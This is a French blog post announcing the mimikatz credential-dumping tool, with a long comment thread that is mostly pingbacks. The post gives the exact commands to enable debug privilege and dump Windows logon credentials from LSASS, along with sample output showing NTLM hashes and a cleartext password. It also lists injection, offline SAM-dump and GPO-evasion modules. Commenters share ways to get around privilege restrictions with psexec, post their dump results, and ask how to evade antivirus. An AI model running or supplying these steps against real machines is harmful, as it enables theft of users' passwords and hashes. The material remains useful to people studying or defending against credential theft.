mimikatz

mimikatz 1.0 vient de sortir en version alpha beta RC !

2.0 alpha inside ;)

Pour les pressés cherchant des mots de passe…

A exécuter en administrateur :

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;234870
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w8-rp-x
        msv1_0 :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
         * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
        kerberos :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
...

Modules

mimikatz est maintenant organisé autours de modules locaux :

  • "standard" ; commandes de base
  • crypto ; Cryptographie et certificats
  • sekurlsa ; Dump de hashes et de mots de passes Windows
  • system ; Gestion système
  • process ; Manipulation des processus
  • thread ; Manipulation des threads
  • service ; Manipulation des services
  • privilege ; Manipulation des privilèges
  • winmine ; Manipulation du démineur de Windows XP (démonstration)
  • minesweeper ; Manipulation du démineur de Windows Vista et 7 (démonstration)
  • nogpo ; Pour éviter quelques GPO triviales
  • samdump ; Dump de SAM offline
  • inject ; Injecteur de librairies
  • ts ; Manipulations Terminal Server
  • divers ; Fonctions diverses trop petites pour s’émanciper

A part pour le module « standard », la séparation du module et de la fonction appelée se fait avec le séparateur ::
Exemple : inject::process lsass.exe sekurlsa.dll

Librairies

Ce n’est pas forcément le plus discret, mais j’aime injecter des librairies

  • sekurlsa ; manipulation des données de sécurités dans LSASS
  • klock ; manipulation de bureaux
  • kelloworld ; libraire à injecter, pour l’exemple

Pilote

Être administrateur n’est pas toujours suffisant, il peut aussi être intéressant de disposer d’un point d’entrée en mode utilisateur.
Un pilote, mimikatz.sys est donc disponible.

Les commandes distantes peuvent être appelées en les précédants d’un :

  • @ pour les libraires (@ seul clos la connexion à la librairie, et la décharge)
  • ! pour le pilote mimikatz (! seul clos la connexion au pilote)

160 réflexions au sujet de « mimikatz »

  1. Ping : effeciently dumping Windows password hashes « Daniel Weis's I.T Security Blog

  2. Ping : effeciently dumping Windows password hashes - Daniel Weis - Blogs - Telligent

  3. Ping : Dis9 Team » Dump Windows password hashes efficiently

  4. Ping : Mimikatz Contraseñas de Windows « Seguridad y Redes

  5. Ping : Obtener Contraseña Administrador de Windows desde Windows (Sin Hash NTML/LM) « sanchezdiego.com.ar

  6. Ping : Latino » Blog Archive » Mimikatz Contraseñas de Windows

  7. Ping : Dumping Cleartext Credentials with Mimikatz « Daniel Weis's I.T Security Blog

  8. Ping : Dumping Cleartext Credentials with Mimikatz - Daniel Weis - Blogs - Telligent

  9. Ping : Security News « CyberOperations

  10. Ping : mimikatz: Tool To Recover Cleartext Passwords From Lsass – Dacheng Luo

  11. Ping : Jeremiah Grossman, Security News – Episode 278 » 華人資安論壇與資安認知教育網誌

  12. Ping : FeiFei's Blog » 获取Windows系统明文密码神器

  13. Ping : 调试器神器 – mimikatz-获取windows处于active状态账号明文密码[转] | Vision's Blog

  14. Ping : 轻量级神器 mimikatz – 直接抓取 Windows 明文密码! - Firedli's Blog

  15. Ping : 通杀WIN服务器得明文密码神器

  16. Ping : Outils, services, sites à (re)découvrir 2012 S08 | La Mare du Gof

  17. secpol.msc -> Local Policies -> User Rights Assignments -> Debug Programs
    Remove Administrators/System
    This is also how you stop Pass-The-hash from working too.
    I’ve tried on Win7 and XP SP3 (english) and I get this error on XP
    mimikatz # inject::process lsass.exe sekurlsa.dll
    PROCESSENTRY32(lsass.exe).th32ProcessID = 640
    Erreur : Impossible d’injecter ! ; (0×00000008) Not enough storage is available to process this command.
    Same wtih Win7(64-bit) only the hex is different
    Erreur : Impossible d’injecter ! ; (0xc0000022) {Access Denied} A process has requested access to an object, but has not been granted those access rights.

    • Nevermind :) I was not using the 64-bit (x64) version on my 64-bit OS.
      Also to work around removing the sedebug priv using group policy and or secpol.msc, you can run as system (psexec -s cmd.exe) and everything works well. Very good tool, I hope you make even more additions! (@dumpall would be cool too, dump anything and everything this tool has to offer)
      -william

    • 0×00000008 is from NT 5 RDP session, not because debug right removed ;)
      in both case : psexec -s XXX … no need of debug right, and bypass session isolation in RDP ;)

  18. Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码!

  19. Ping : 百寞' Blog » Blog Archive » 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码!

  20. Ping : 转:windows下轻量级调试神器—mimikatz – 2哥博客|H3CIE|网络技术|数据中心|路由交换|网络安全|黑客技术|CCIE|Linux|服务器|wordpress

  21. Ping : 神器mimikatz使用命令方法总结 | Vision's Blog

  22. Ping : mimikatz的使用方法总结 « Crackerban Team

  23. Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码! « x7z|关注网络安全|Web安全|最新0day漏洞|网站安全顾问

  24. Isn’t this how Windows can send HTTP-Authentication using IE without prompting for the password? If so, could a program like Firefox, launched as the same user who is logged on, read those credentials and also pass HTTP-authentication without being prompted? This could add functionality to something like FF if this was so, could it not? I mean IE does it…
    -mandingo-

  25. Ping : Unsung Heros (the list) « Cатсн²² (in)sесuяitу / ChrisJohnRiley

  26. C:\Program Files\WinRAR\ts\Win32>mimikatz.exe
    mimikatz 1.0 x86 (alpha)        /* Traitement du Kiwi (Feb  9 2012 01:46:57) */
    // http://blog.gentilkiwi.com/mimikatz
    
    mimikatz # privilege::debug
    Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
    
    mimikatz # inject::process lsass.exe sekurlsa.dll
    PROCESSENTRY32(lsass.exe).th32ProcessID = 452
    Erreur : Impossible d'injecter ! ; (0x00000008) 存储空间不足,无法处理此命令。
    
    mimikatz #

    help me

  27. FYI, Windows 8 (dev-preview) is working for me so far. Haven’t tried all the commands yet but so far so good. Is there a way to run all commands planned? Maybe output to a single file?
    -mandingo-

  28. Ping : Drunken Security News – Episode 279 » 信息安全播客

  29. Ping : Tonya Bacam, Security Onion – Episode 279 » 華人資安論壇與資安認知教育網誌

  30. Ping : Live from CCDC – Episode 280 » 華人資安論壇與資安認知教育網誌

  31. Ping : Recuperando contraseñas de Windows en texto plano (I de II)

  32. Ping : 牛X神器-mimikatz | Yoio's Blog

  33. Ping : 欺天: NLP | HACK | 社会工程学 | 金融

  34. Ping : Remotely Recovering Windows Passwords in Plain Text « CYBER ARMS – Computer Security

  35. Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码 | Linglin'S Blog

  36. Ping : Episode 647 – Quantum Encryption,TriCk, 100 days, Mimikatz, and MySQL DoS | InfoSec Daily

  37. Ping : Obtener Contraseña Administrador de Windows desde Windows (Sin Hash NTML/LM) | GEEKNOPATAS

  38. Пополним коллекцию благодарностей на иностранных языках :)
    Спасибо!

  39. Ping : Pw » 关注互联网技术,专注于信息安全,记录生命点滴故事.

  40. Ping : Recovering Windows Passwords Remotely in Plain Text | IT Security

  41. Ping : mimikatz获取Windows系统明文密码神器 | 网络大学|Network University

  42. Ping : Mimikatz creator to Speak at PH Days Conference « CYBER ARMS – Computer Security

  43. LOL,C’est un logiciel qui peut faire beaucoup de trucs,ça me plais beaucoup ^.^
    mais il y a trop de méthodes TT,chaque fois je dois venir ici pour chercher le rappel ,peut-être c’est moi qui me suis trompé ,puisque la langue française est compliqué pour nous ,toute façon il faut apprendre .
    Bon courage et je vous souhaite une très bonne année 2012 .

  44. Very nice work. I successfully got clear text passwords by injecting into LSASS on Windows 2008 R2, however, I had a problem on Windows 7 x64. I launched a local cmd.exe shell as Local System by using PsExec. From there I launched mimikatz. After typing @getLogonPasswords, the data was there but the wdigest passwords were completely garbled text. I guess something went wrong with the injection. I wonder if it has anything to do with ASLR.

    • No problem with ASLR ;) It must be unicode or incorect unicode string for computer account, but appear to be valid in unicode… :( (try chcp before ;))
      Why did you use psexec for get system ? you can use privilege::debug

      • Yes, privilege::debug worked better. On this PC, I was only able to retrieve my smartcard PIN, because I don’t log in with my password. :)

      • Yeah — it showed just the portion of the PIN that I type to login/unlock my PC. It did not of course display the automatically changing code that is shown on the LCD display. :)

  45. Note that I must have recently unlocked my PC in order for the RSA SecureID PIN to show up — if I have not logged in or unlocked the PC within 30 minutes or so, the PIN does not appear in the list. Alright, here is my mimikatz output. I ran it first, and did not see RSA PIN. Then, I locked my workstation and then unlocked it, then I ran @getLogonPasswords again. Then I did see my RSA PIN displayed. I have tried to change names and hashes to protect the innocent. :)

    mimikatz # @getLogonPasswords
    
    Authentification Id         : 0;618713
    Package d'authentification  : Kerberos
    Utilisateur principal       : demoUser
    Domaine d'authentification  : FakeDomain
            msv1_0 :        lm{ 00000000000000000000000000000000 }, ntlm{ a1b2c3d4a1b2c3d4a1b2c3d4a1b2c3 }
            wdigest :
            tspkg :         n.t. (LUID KO)
    
    Authentification Id         : 0;613648
    Package d'authentification  : Kerberos
    Utilisateur principal       : demoUser
    Domaine d'authentification  : FakeDomain
            msv1_0 :        lm{ 00000000000000000000000000000000 }, ntlm{ a1b2c3d4a1b2c3d4a1b2c3d4a1b2c3 }
            wdigest :
            tspkg :         n.t. (LUID KO)
    mimikatz # @getLogonPasswords
    
    Authentification Id         : 0;618713
    Package d'authentification  : Kerberos
    Utilisateur principal       : demoUser
    Domaine d'authentification  : FakeDomain
            msv1_0 :        lm{ 00000000000000000000000000000000 }, ntlm{ a1b2c3d4a1b2c3d4a1b2c3d4a1b2c3 }
            wdigest :       THIS_IS_MY_RSA_PIN
            tspkg :         n.t. (LUID KO)
    
    Authentification Id         : 0;613648
    Package d'authentification  : Kerberos
    Utilisateur principal       : demoUser
    Domaine d'authentification  : FakeDomain
            msv1_0 :        lm{ 00000000000000000000000000000000 }, ntlm{ a1b2c3d4a1b2c3d4a1b2c3d4a1b2c3 }
            wdigest :       THIS_IS_MY_RSA_PIN
            tspkg :         n.t. (LUID KO)
    • So funny :), maybe you can try @getLogonPasswords full for « full » informations.
      Is your NTLM(RSA_PIN) same as msv1_0 NTLM hash ?

      I’m @PHDays, unfortunately I cannot test it now :)

      • That’s a good question… I’ll have to crack it with something like ighashgpu. Since I know what it is, it should be pretty easy to crack the hash. :)

      • You don’t have to do that !
        whent it’s available, take the cleartext pin code , hash it in NTLM, compare :)

  46. Sorry, I got distracted with other things…

    No it’s odd – mimikatz will dump my SecureID PIN as the « wdigest » but the corresponding NTLM hash does not match either the PIN or my user account password. I don’t know what it is.

  47. Ping : Security News #0×11: Take Hold of the Flame « CyberOperations

  48. Ping : Recovering Clear Text Passwords – Updates « CYBER ARMS – Computer Security

  49. i download your source code .but i find something could not find ,link the function GetMSVLogonData, can you show how does it work ? thank you ! :)

  50. Ping : 神器mimikatz使用方法 | Individual World

  51. Ping : 法国黑客神器 mimikatz 直接读取管理员密码 通杀xp win2003 win7 win2008 初体验 | 执魄's Blog

  52. Ping : 神器mimikatz | WG1博客

  53. Ping : 抓Windows系统的明文密码 - F19ht's blog

  54. Ping : Làm thế nào để đồng bộ Active Directory Sync trong khi Username và Password bị mã hoá theo OS 32/64bit ? (tiếp theo) | Thangletoan’s Weblog

  55. Ping : 神器mimikatz | 冰锋刺客

  56. Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码 | Startend.Blog's

  57. Ping : 神器mimikatz | 潇湘博客

  58. Ping : mimikatz - 网站安全,服务器安全,防御检测

  59. Ping : Password Cracking « Aggressive Virus Defense

  60. mimikatz вещь зачётная!
    Посмотрел презентацию, увидел слово СПАСИБО!
    т.ч. может поймёшь) Большое спасибо тебе!

  61. Ping : 问君几多愁 » msf中使用MIMIKATZ

  62. Ping : 神器 – mimikatz | 小兮博客

  63. Ping : Lóránd Somogyi » Openconnect replacement for Cisco AnyConnect on Linux (Ubuntu)

  64. Ping : Grab Windows Password In Plain Text!!!

  65. Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码 | 小i博客

  66. Ping : 如何获取已登录账户的Windows密码 | lzsb.me

  67. Mimikatz FTW! Allowed me to circumvent my IT department’s issuing of a new RSA certificate when I changed my home PC, thus saving much time and stress. Merci!

  68. Ping : Windows 8 Clear Text Passwords from Locked Desktop with Mimikatz « CYBER ARMS – Computer Security

  69. Ping : Saber la pass del ADMIN « 3lhacker – Comunidad Informatica

  70. Bonjour,

    Pour info, mimikatz ne fonctionne pas sous windows 2003 enterprise (english) en version pré-servicepack.
    “The procedure entry point EncodePointer could not be located in the dynamic link library KERNEL32.dll”. La version de la dll est 5.2.3790.

    Cela fonctionne bien une fois le SP2 installé (SP1 non testé).

    Un grand merci pour l’outil!

  71. Ping : 2012 in Review and a Look Forward to 2013

  72. 这全是鸟语啊,外国的黑客,你们好!你说的我完全不懂昂,真不知道你们的鸟语,你怎么学会的呢!

  73. Ping : Metasploit: Postexploitation – Passwort im Klartext auslesen | freie-welt.com

  74. Ping : 本机Windows密码查看神器-mimikatz | 千行站

  75. Ping : Metasploit: Postexploitation – Passwort im Klartext auslesen | freie-welt.com

  76. Ping : Jak na export privatniho klice certifikatu, kdyz je oznacen jako non-exportable | logon

  77. Ping : 直接爆WIN2003+服务器的管理员密码的Mimikatz软件 | 紫云残雪's Blog

  78. Ping : Hacking Windows with Password Grabbing | ColeSec Security

  79. Ping : Remotely Recovering Windows Passwords in Plain Text « ITSolutionDesign

  80. Ping : .:[ d4 n3wS ]:. » Mimikatz

  81. Ping : 神器mimikatz使用命令方法总结 | rambowind

  82. Ping : 扫雷神器 – mimikatz

  83. Ping : Obtener contraseña de administrador de Windows desde el propio Windows | DURKH3IM'S BLOG

  84. Ping : mimikatz-en (English Translation of Mimikatz) Release « AttackVector.org

  85. Ping : 法国黑客神器 mimikatz 直接读取管理员密码 通杀Win系 – 思安阁

  86. Ping : Wouter Veugelen blog » English version of Mimikatz: Mimikatz-en.exe

  87. Ping : WCE and Mimikatz in memory over meterpreter | Justin - Blog

  88. Ping : mimikatz | Blog de Gentil Kiwi | opexxxblog

  89. Can you attack remote PC’s with this or you have to be on the actual clients machine to run this? You would also need to have admin rights I’m assuming.

    Good tool, now just trying to see if it can be executed to gain access to a remote pc. I’m the IT guy at work.

    Keep up the good work.

  90. Ping : Reflective DLL Injection with PowerShell | clymb3r

  91. Ping : [Intermédiaire] Récupérer un mot de passe Windows avec Mimikatz | Yoann's Workshop

  92. Ping : Modifying Mimikatz to be Loaded Using Invoke-ReflectiveDLLInjection.ps1 | clymb3r

  93. Ping : [Sécurité] Mimikatz | aurelienantonoff

  94. Microsoft Forefront is detecting the Alpha as well as RC of Mimikatz, is there a way we can run it without encrypting the exe to bypass the AV.

  95. What commandline format in new alpha version ?

    mimikatz.exe privilege::debug sekurlsa::logonPasswords exit >> result.txt

    in batch mode is crash

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Vous pouvez utiliser ces balises et attributs HTML : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>